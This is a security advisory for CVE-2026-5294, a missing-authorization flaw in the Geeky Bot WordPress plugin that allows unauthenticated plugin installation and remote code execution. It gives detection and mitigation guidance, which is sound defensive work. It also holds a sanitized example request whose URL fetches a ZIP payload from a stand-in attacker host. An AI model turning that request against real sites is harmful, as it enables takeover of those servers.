CVE-2026-5294: Geeky Bot WordPress Plugin RCE Vulnerability

CVE-2026-5294 Overview

CVE-2026-5294 is a missing authorization vulnerability in the Geeky Bot plugin for WordPress affecting all versions up to and including 1.2.2. The plugin exposes a nopriv AJAX route that accepts attacker-controlled model and function dispatch parameters. This dispatch path reaches a plugin installer helper that downloads and unzips attacker-supplied ZIP archives directly into wp-content/plugins/. Unauthenticated attackers can install arbitrary plugins on a target site and achieve remote code execution. The flaw is tracked under CWE-862: Missing Authorization.

Critical Impact

Unauthenticated attackers can install arbitrary plugins on vulnerable WordPress sites and execute arbitrary PHP code under the web server account.

Affected Products

• Geeky Bot plugin for WordPress, versions up to and including 1.2.2
• WordPress sites with the Geeky Bot plugin installed and activated
• Any hosting environment where the affected plugin processes unauthenticated AJAX traffic

Discovery Timeline

• 2026-05-05 - CVE-2026-5294 published to NVD
• 2026-05-05 - Last updated in NVD database

Technical Details for CVE-2026-5294

Vulnerability Analysis

The Geeky Bot plugin registers an AJAX action through the wp_ajax_nopriv_* hook, making the endpoint reachable by unauthenticated visitors. The handler dispatches requests based on model and function parameters supplied by the caller. Attackers can steer this dispatch into a plugin installer helper that retrieves a ZIP archive from a user-supplied URL and extracts it under wp-content/plugins/.

Because the route lacks both a capability check (current_user_can) and a nonce verification, no authentication or origin proof is required. The unzipped archive can contain a PHP file that executes with the privileges of the web server when invoked through standard WordPress request paths. This converts a missing authorization defect into reliable remote code execution on the host. Additional analysis is documented in the Wordfence Vulnerability Report.

Root Cause

The root cause is missing authorization on a privileged operation. The plugin registers a nopriv AJAX endpoint that exposes administrative functionality, including plugin installation, without enforcing capability or nonce checks. The dispatcher trusts client-supplied identifiers to select sensitive backend handlers.

Attack Vector

The attack is fully remote over HTTP or HTTPS and requires no privileges or user interaction. An attacker sends a single crafted POST request to wp-admin/admin-ajax.php referencing the vulnerable action and supplying a URL to a ZIP archive under their control. The patch landed in WordPress changeset 3497169.

// Conceptual request shape (sanitized, no working payload)
POST /wp-admin/admin-ajax.php
action=<vulnerable_nopriv_action>
model=<attacker_selected_model>
function=<installer_helper>
url=https://attacker.example/payload.zip

Detection Methods for CVE-2026-5294

Indicators of Compromise

• New or unexpected directories appearing under wp-content/plugins/ that do not match plugins installed by administrators.
• Outbound HTTP requests from the WordPress host fetching ZIP archives from unfamiliar domains shortly before new plugin files appear on disk.
• POST requests to admin-ajax.php from unauthenticated sessions referencing Geeky Bot actions with model and function parameters.
• PHP files with recent modification timestamps in plugin subdirectories that contain obfuscated code or web shell signatures.

Detection Strategies

• Hunt web server access logs for unauthenticated POST requests to wp-admin/admin-ajax.php carrying action values associated with the Geeky Bot plugin.
• Correlate plugin directory creation events with the parent php-fpm or apache2 process to identify installer-driven writes.
• Alert on any process spawned by the web server that runs PHP files from a newly created plugin directory.

Monitoring Recommendations

• Enable file integrity monitoring on wp-content/plugins/ and treat new top-level directories as high-priority events.
• Capture and retain WordPress AJAX request logs with full POST bodies for at least 30 days to support retrospective hunting.
• Monitor egress for ZIP downloads initiated by the PHP runtime to non-WordPress.org destinations.

How to Mitigate CVE-2026-5294

Immediate Actions Required

• Update the Geeky Bot plugin to a version newer than 1.2.2 that includes the fix from changeset 3497169, or deactivate and remove the plugin until a patched release is confirmed.
• Audit wp-content/plugins/ for unrecognized directories and remove any plugins not installed by an administrator.
• Rotate WordPress administrator credentials, database passwords, and any secrets stored in wp-config.php if compromise is suspected.

Patch Information

The vendor fix is recorded in the WordPress plugin repository changeset 3497169. Site operators should upgrade to a Geeky Bot release that incorporates this changeset. Verify the installed version after update and confirm the vulnerable nopriv AJAX action either enforces capability checks or has been removed.

Workarounds

• Block unauthenticated POST requests to wp-admin/admin-ajax.php carrying Geeky Bot action names at a web application firewall.
• Set DISALLOW_FILE_MODS to true in wp-config.php to prevent plugin installation through any code path.
• Restrict outbound network access from the WordPress host so it cannot fetch arbitrary ZIP archives from attacker-controlled domains.

# Configuration example: prevent plugin and theme installation site-wide
# Add to wp-config.php above the "That's all, stop editing!" line
define( 'DISALLOW_FILE_MODS', true );